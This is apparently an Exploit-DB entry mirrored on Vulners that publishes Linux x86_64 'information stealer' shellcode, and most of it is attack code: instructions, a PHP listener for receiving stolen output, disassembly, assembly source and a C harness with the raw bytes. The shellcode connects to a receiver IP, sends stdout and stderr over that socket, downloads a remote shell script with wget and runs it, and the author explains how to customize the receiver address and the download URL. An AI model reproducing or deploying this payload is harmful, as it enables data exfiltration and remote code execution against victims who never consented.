Lucene search
K

Linux x86_64 Information Stealer Shellcode

🗓️ 23 May 2016 00:00:00Reported by Roziul Hasan Khan ShifatType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 41 Views

Linux x86_64 information stealer shellcode for Ubuntu 14.04 LTS x86_64. Connects to receiver, downloads and executes a sh script from a specific server. Instructions included for using, recieving, disassembly of the shellcode

Code
/*
 # Title : Linux x86_64 information stealer
 # Date : 23-05-2016
 # Author : Roziul Hasan Khan Shifat
 # Tested On : Ubuntu 14.04 LTS x86_64
 # Contact : [email protected]
 
*/


/*
													How does this shellcode works
												-----------------------------------
1. First it connects to the information reciver
2. then it download a sh script from http://192.168.30.129/pri.sh (server running on Kali linux)
3. duplicating stdout,stderr with socket descriptor
4. then it execute the script using sh

*/

/*

Note: the pri.sh file was in kali linux.the server was Kali linux 
client was Ubuntu
it downloads the pri.sh from kali linux 
and Executes it on Ubuntu
*/												



/*
											Requirements of this shellcode
										--------------------------------------
1.link of pri.sh (You can Found it on http://pastebin.com/V4gudKL5 ) . this script isn't mine.I've taken it from another.I customized the script
2.reciver ip									

*/


/*
											How to use this shellcode
										---------------------------------
1. Upload the pri.sh any site 
2. TO download the pri.sh , U need to Customize the wget procedure (I've marked where to customized)
3. Customize the connect procedure for connect to the reciver where i marked										
4. U need to know assembly to completed 1,2 instruction
 
*/



/*
										Reciver
										---------
To	recive the Information U may Use Netcat
If U want to view the informations on Web browser , I've a php script for U. upload it any site.


<?php

if (!($sock = socket_create(AF_INET, SOCK_STREAM, 0)))
{
$errorcode = socket_last_error();
$errormsg = socket_strerror($errorcode);

die ("Couldn't create socket: [$errorcode] $errormsg \n");}
echo "Socket created \n\n";

if ( !socket_bind($sock, "0.0.0.0" , 1532) )
{
$errorcode = socket_last_error();
$errormsg = socket_strerror($errorcode);

die ("Could not bind socket : [$errorcode] $errormsg \n");}
echo "Socket bind OK \n\n";
if (!socket_listen ($sock , 10))
{
$errorcode = socket_last_error();
$errormsg = socket_strerror($errorcode);

die ("Could not listen on socket : [$errorcode] $errormsg \n");}
echo "Socket listen OK \n\n\n";

echo "Waiting for incoming connections... \n";
//Accept incoming connection - This is a blocking call
$client = socket_accept($sock);
//display information about the client who is connected
if (socket_getpeername($client , $address , $port))
{
echo "Client $address : $port is now connected to us. \n";
}
//read data from the incoming socket
while(1)
{

$i= socket_recv($client,$buf, 1024000,MSG_WAITALL);

if($i<=0)
die("\nconnection closed by $address");
else
echo $buf."\n\n";
}
?>

if U this script , the reciver ip will be the website ip									

BUT I RECOMMEND U TO USE NETCAT


*/




/*

Disassembly of section .text:

0000000000400080 <_start>:
  400080:	6a 06                	pushq  $0x6
  400082:	6a 01                	pushq  $0x1
  400084:	6a 02                	pushq  $0x2
  400086:	5f                   	pop    %rdi
  400087:	5e                   	pop    %rsi
  400088:	5a                   	pop    %rdx
  400089:	6a 29                	pushq  $0x29
  40008b:	58                   	pop    %rax
  40008c:	0f 05                	syscall 
  40008e:	48 31 db             	xor    %rbx,%rbx
  400091:	48 89 c3             	mov    %rax,%rbx
  400094:	48 31 c0             	xor    %rax,%rax
  400097:	48 31 ff             	xor    %rdi,%rdi
  40009a:	b0 39                	mov    $0x39,%al
  40009c:	0f 05                	syscall 
  40009e:	4d 31 c9             	xor    %r9,%r9
  4000a1:	4c 39 c8             	cmp    %r9,%rax
  4000a4:	74 18                	je     4000be <connect>
  4000a6:	6a 3c                	pushq  $0x3c
  4000a8:	58                   	pop    %rax
  4000a9:	0f 05                	syscall 

00000000004000ab <retry>:
  4000ab:	48 31 f6             	xor    %rsi,%rsi
  4000ae:	48 f7 e6             	mul    %rsi
  4000b1:	56                   	push   %rsi
  4000b2:	6a 3c                	pushq  $0x3c
  4000b4:	48 89 e7             	mov    %rsp,%rdi
  4000b7:	b0 23                	mov    $0x23,%al
  4000b9:	0f 05                	syscall 
  4000bb:	eb 01                	jmp    4000be <connect>
  4000bd:	c3                   	retq   

00000000004000be <connect>:
  4000be:	6a 10                	pushq  $0x10
  4000c0:	5a                   	pop    %rdx
  4000c1:	53                   	push   %rbx
  4000c2:	5f                   	pop    %rdi
  4000c3:	48 31 c0             	xor    %rax,%rax
  4000c6:	50                   	push   %rax
  4000c7:	50                   	push   %rax
  4000c8:	50                   	push   %rax
  4000c9:	c6 04 24 02          	movb   $0x2,(%rsp)
  4000cd:	66 c7 44 24 02 05 fc 	movw   $0xfc05,0x2(%rsp)
  4000d4:	c7 44 24 04 c0 a8 1e 	movl   $0x811ea8c0,0x4(%rsp)
  4000db:	81 
  4000dc:	48 89 e6             	mov    %rsp,%rsi
  4000df:	b0 2a                	mov    $0x2a,%al
  4000e1:	0f 05                	syscall 
  4000e3:	48 31 ff             	xor    %rdi,%rdi
  4000e6:	48 39 f8             	cmp    %rdi,%rax
  4000e9:	7c c0                	jl     4000ab <retry>
  4000eb:	48 31 c0             	xor    %rax,%rax
  4000ee:	48 31 f6             	xor    %rsi,%rsi
  4000f1:	48 ff c6             	inc    %rsi
  4000f4:	48 89 df             	mov    %rbx,%rdi
  4000f7:	b0 21                	mov    $0x21,%al
  4000f9:	0f 05                	syscall 
  4000fb:	48 31 c0             	xor    %rax,%rax
  4000fe:	48 ff c6             	inc    %rsi
  400101:	48 89 df             	mov    %rbx,%rdi
  400104:	b0 21                	mov    $0x21,%al
  400106:	0f 05                	syscall 
  400108:	48 31 c0             	xor    %rax,%rax
  40010b:	48 83 c0 39          	add    $0x39,%rax
  40010f:	0f 05                	syscall 
  400111:	48 31 ff             	xor    %rdi,%rdi
  400114:	4d 31 e4             	xor    %r12,%r12
  400117:	49 89 c4             	mov    %rax,%r12
  40011a:	48 39 f8             	cmp    %rdi,%rax
  40011d:	74 59                	je     400178 <wget>
  40011f:	4d 31 d2             	xor    %r10,%r10
  400122:	48 31 d2             	xor    %rdx,%rdx
  400125:	4c 89 d6             	mov    %r10,%rsi
  400128:	4c 89 e7             	mov    %r12,%rdi
  40012b:	48 31 c0             	xor    %rax,%rax
  40012e:	b0 3d                	mov    $0x3d,%al
  400130:	0f 05                	syscall 
  400132:	48 31 c0             	xor    %rax,%rax
  400135:	48 31 d2             	xor    %rdx,%rdx
  400138:	50                   	push   %rax
  400139:	50                   	push   %rax
  40013a:	c7 04 24 2f 2f 62 69 	movl   $0x69622f2f,(%rsp)
  400141:	c7 44 24 04 6e 2f 73 	movl   $0x68732f6e,0x4(%rsp)
  400148:	68 
  400149:	48 89 e7             	mov    %rsp,%rdi
  40014c:	50                   	push   %rax
  40014d:	50                   	push   %rax
  40014e:	c7 04 24 2e 70 72 69 	movl   $0x6972702e,(%rsp)
  400155:	66 c7 44 24 04 2e 73 	movw   $0x732e,0x4(%rsp)
  40015c:	c6 44 24 06 68       	movb   $0x68,0x6(%rsp)
  400161:	48 89 e6             	mov    %rsp,%rsi
  400164:	52                   	push   %rdx
  400165:	56                   	push   %rsi
  400166:	57                   	push   %rdi
  400167:	48 89 e6             	mov    %rsp,%rsi
  40016a:	48 83 c0 3b          	add    $0x3b,%rax
  40016e:	0f 05                	syscall 
  400170:	41 51                	push   %r9
  400172:	5f                   	pop    %rdi
  400173:	6a 03                	pushq  $0x3
  400175:	58                   	pop    %rax
  400176:	0f 05                	syscall 

0000000000400178 <wget>:
  400178:	48 31 c0             	xor    %rax,%rax
  40017b:	50                   	push   %rax
  40017c:	50                   	push   %rax
  40017d:	50                   	push   %rax
  40017e:	c7 04 24 2f 75 73 72 	movl   $0x7273752f,(%rsp)
  400185:	c7 44 24 04 2f 62 69 	movl   $0x6e69622f,0x4(%rsp)
  40018c:	6e 
  40018d:	c7 44 24 08 2f 2f 77 	movl   $0x67772f2f,0x8(%rsp)
  400194:	67 
  400195:	66 c7 44 24 0c 65 74 	movw   $0x7465,0xc(%rsp)
  40019c:	48 89 e7             	mov    %rsp,%rdi
  40019f:	50                   	push   %rax
  4001a0:	50                   	push   %rax
  4001a1:	50                   	push   %rax
  4001a2:	50                   	push   %rax
  4001a3:	c7 04 24 68 74 74 70 	movl   $0x70747468,(%rsp)
  4001aa:	c7 44 24 04 3a 2f 2f 	movl   $0x312f2f3a,0x4(%rsp)
  4001b1:	31 
  4001b2:	c7 44 24 08 39 32 2e 	movl   $0x312e3239,0x8(%rsp)
  4001b9:	31 
  4001ba:	c7 44 24 0c 36 38 2e 	movl   $0x332e3836,0xc(%rsp)
  4001c1:	33 
  4001c2:	c7 44 24 10 30 2e 31 	movl   $0x32312e30,0x10(%rsp)
  4001c9:	32 
  4001ca:	c7 44 24 14 39 2f 70 	movl   $0x72702f39,0x14(%rsp)
  4001d1:	72 
  4001d2:	c7 44 24 18 69 2e 73 	movl   $0x68732e69,0x18(%rsp)
  4001d9:	68 
  4001da:	48 89 e6             	mov    %rsp,%rsi
  4001dd:	48 31 d2             	xor    %rdx,%rdx
  4001e0:	50                   	push   %rax
  4001e1:	66 c7 04 24 2d 4f    	movw   $0x4f2d,(%rsp)
  4001e7:	48 89 e1             	mov    %rsp,%rcx
  4001ea:	50                   	push   %rax
  4001eb:	50                   	push   %rax
  4001ec:	c7 04 24 2e 70 72 69 	movl   $0x6972702e,(%rsp)
  4001f3:	66 c7 44 24 04 2e 73 	movw   $0x732e,0x4(%rsp)
  4001fa:	c6 44 24 06 68       	movb   $0x68,0x6(%rsp)
  4001ff:	49 89 e7             	mov    %rsp,%r15
  400202:	52                   	push   %rdx
  400203:	41 57                	push   %r15
  400205:	51                   	push   %rcx
  400206:	56                   	push   %rsi
  400207:	57                   	push   %rdi
  400208:	48 89 e6             	mov    %rsp,%rsi
  40020b:	b0 3b                	mov    $0x3b,%al
  40020d:	0f 05                	syscall 




*/





/*


section .text
	global _start
;-----------------



_start:

;socket()
push 6
push 1
push 2

pop rdi
pop rsi
pop rdx

push 41
pop rax
syscall

;------------------

xor rbx,rbx
mov rbx,rax ;socket descriptor

;-------------
xor rax,rax
xor rdi,rdi

mov al,57
syscall

xor r9,r9

cmp rax,r9
jz connect

push byte 60
pop rax
syscall



retry:

xor rsi,rsi
mul rsi

push rsi
push byte 60 ;1 min ( change it if U want )

mov rdi,rsp

mov al,35
syscall

jmp connect
ret



connect:

;connect()
push 16
pop rdx

push rbx
pop rdi

xor rax,rax
push rax
push rax
push rax

mov [rsp],byte 2

;-----------------------------------
;customize these staetments
mov [rsp+2],word 0xfc05 ;port 1532 ( U may change it, As U wish )
mov [rsp+4],dword 0x811ea8c0 ;ip of reciver (must change it)
;--------------------------------------


mov rsi,rsp

mov al,42
syscall

xor rdi,rdi
cmp rax,rdi
jl retry 




;------------dup2(sd,1)

xor rax,rax
xor rsi,rsi
inc rsi

mov rdi,rbx

mov al,33
syscall

;------------

;------------dup2(sd,2)

xor rax,rax

inc rsi

mov rdi,rbx

mov al,33
syscall

;------------
;fork()

xor rax,rax
add rax,57
syscall

xor rdi,rdi
xor r12,r12

mov r12,rax ;pid
cmp rax,rdi

jz wget

;---------------
;wait4()

xor r10,r10 ;null
xor rdx,rdx ;null
mov rsi,r10 ;status
mov rdi,r12 ;pid

xor rax,rax
mov al,61
syscall



;;
;-------------------------
 
;execve("//bin/sh",{"//bin/sh",".pri.sh",NULL},NULL);

xor rax,rax
xor rdx,rdx
push rax
push rax


mov [rsp],dword '//bi'
mov [rsp+4],dword 'n/sh'


mov rdi,rsp


push rax
push rax 

mov [rsp],dword '.pri'
mov [rsp+4],word '.s'
mov [rsp+6],byte 'h'
mov rsi,rsp

push rdx
push rsi
push rdi

mov rsi,rsp

add rax,59
syscall
;--------
;close(fd)

push r9
pop rdi

push 3
pop rax
syscall




wget:
;execve("/usr/bin//wget",{"/usr/bin//wget","http ://1 92.1 68.3 0.12 9/pr i.sh","-O",".pri.sh",NULL},NULL)

xor rax,rax


push rax
push rax
push rax

mov [rsp],dword '/usr'
mov [rsp+4],dword '/bin'
mov [rsp+8],dword '//wg'
mov [rsp+12],word 'et'

mov rdi,rsp

push rax
push rax
push rax
push rax

;----------------------
;cusmizetd these statements for the link of pri.sh
mov [rsp],dword 'http'
mov [rsp+4],dword '://1'
mov [rsp+8],dword '92.1'
mov [rsp+12],dword '68.3'
mov [rsp+16],dword '0.12'
mov [rsp+20],dword '9/pr'
mov [rsp+24],dword 'i.sh'
;------------------------

mov rsi,rsp
xor rdx,rdx

push rax
mov [rsp],word '-O'
mov rcx,rsp

push rax
push rax

mov [rsp],dword '.pri'
mov [rsp+4],word '.s'
mov [rsp+6],byte 'h'

mov r15,rsp






push rdx
push r15
push rcx
push rsi
push rdi

mov rsi,rsp

mov al,59
syscall


*/













#include<stdio.h>
#include<string.h>



char shellcode[]="\x6a\x06\x6a\x01\x6a\x02\x5f\x5e\x5a\x6a\x29\x58\x0f\x05\x48\x31\xdb\x48\x89\xc3\x48\x31\xc0\x48\x31\xff\xb0\x39\x0f\x05\x4d\x31\xc9\x4c\x39\xc8\x74\x18\x6a\x3c\x58\x0f\x05\x48\x31\xf6\x48\xf7\xe6\x56\x6a\x3c\x48\x89\xe7\xb0\x23\x0f\x05\xeb\x01\xc3\x6a\x10\x5a\x53\x5f\x48\x31\xc0\x50\x50\x50\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x05\xfc\xc7\x44\x24\x04\xc0\xa8\x1e\x81\x48\x89\xe6\xb0\x2a\x0f\x05\x48\x31\xff\x48\x39\xf8\x7c\xc0\x48\x31\xc0\x48\x31\xf6\x48\xff\xc6\x48\x89\xdf\xb0\x21\x0f\x05\x48\x31\xc0\x48\xff\xc6\x48\x89\xdf\xb0\x21\x0f\x05\x48\x31\xc0\x48\x83\xc0\x39\x0f\x05\x48\x31\xff\x4d\x31\xe4\x49\x89\xc4\x48\x39\xf8\x74\x59\x4d\x31\xd2\x48\x31\xd2\x4c\x89\xd6\x4c\x89\xe7\x48\x31\xc0\xb0\x3d\x0f\x05\x48\x31\xc0\x48\x31\xd2\x50\x50\xc7\x04\x24\x2f\x2f\x62\x69\xc7\x44\x24\x04\x6e\x2f\x73\x68\x48\x89\xe7\x50\x50\xc7\x04\x24\x2e\x70\x72\x69\x66\xc7\x44\x24\x04\x2e\x73\xc6\x44\x24\x06\x68\x48\x89\xe6\x52\x56\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05\x41\x51\x5f\x6a\x03\x58\x0f\x05\x48\x31\xc0\x50\x50\x50\xc7\x04\x24\x2f\x75\x73\x72\xc7\x44\x24\x04\x2f\x62\x69\x6e\xc7\x44\x24\x08\x2f\x2f\x77\x67\x66\xc7\x44\x24\x0c\x65\x74\x48\x89\xe7\x50\x50\x50\x50\xc7\x04\x24\x68\x74\x74\x70\xc7\x44\x24\x04\x3a\x2f\x2f\x31\xc7\x44\x24\x08\x39\x32\x2e\x31\xc7\x44\x24\x0c\x36\x38\x2e\x33\xc7\x44\x24\x10\x30\x2e\x31\x32\xc7\x44\x24\x14\x39\x2f\x70\x72\xc7\x44\x24\x18\x69\x2e\x73\x68\x48\x89\xe6\x48\x31\xd2\x50\x66\xc7\x04\x24\x2d\x4f\x48\x89\xe1\x50\x50\xc7\x04\x24\x2e\x70\x72\x69\x66\xc7\x44\x24\x04\x2e\x73\xc6\x44\x24\x06\x68\x49\x89\xe7\x52\x41\x57\x51\x56\x57\x48\x89\xe6\xb0\x3b\x0f\x05";       /* insert shellcode here */


int main()
{
printf("shellcode length %ld",( unsigned long ) strlen(shellcode));

( * (int(*)()) shellcode) ();

}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation